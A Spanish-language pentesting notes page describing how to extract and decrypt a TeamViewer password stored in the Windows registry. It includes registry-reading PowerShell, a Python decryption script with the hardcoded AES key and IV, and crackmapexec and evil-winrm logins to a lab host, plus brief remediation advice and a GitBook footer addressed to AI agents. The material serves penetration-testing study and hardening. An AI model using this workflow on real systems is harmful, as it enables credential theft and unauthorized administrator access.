> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md).

# Contraseña del registro de TeamViewer

Algunas versiones antiguas de TeamViewer almacenan una contraseña cifrada en el registro de Windows. El objetivo es identificar la versión, recuperar el valor AES, descifrarlo y validar si la credencial es reutilizable.

## Identificar el proceso

```powershell
tasklist /svc
```

<figure><img src="/files/f674cd19e5ff22a913b6b2528f542791d1bf2f3a" alt="TeamViewer process identified in tasklist output"><figcaption></figcaption></figure>

## Localizar la clave del registro

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer/Version7
(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/11433e074d9908b7574c8511039f3bc9bdd9752b" alt="TeamViewer SecurityPasswordAES registry value"><figcaption></figcaption></figure>

## Descifrar el valor

```python
from Crypto.Cipher import AES

IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])

decipher = AES.new(key, AES.MODE_CBC, IV)
print(decipher.decrypt(ciphertext).decode())
```

<figure><img src="/files/97e67263a8ad6113c5dc186a7544304fd9b51d62" alt="Decrypted TeamViewer password"><figcaption></figcaption></figure>

## Validar el acceso

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/e5d5828437584d6575d1a3e56d7a9d54bd7458f7" alt="SMB credential validation with CrackMapExec"><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/aaab75b3c1326d5a747a97a1acbbc4be9b996218" alt="Evil-WinRM login with recovered TeamViewer password"><figcaption></figcaption></figure>

## Puntos clave

* Identifica la versión exacta de TeamViewer antes de aplicar un flujo de trabajo de descifrado conocido.
* Revisa el registro en busca de secretos persistentes de aplicaciones de terceros.
* Corrige el problema actualizando TeamViewer y evitando contraseñas reutilizables de acceso desatendido.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
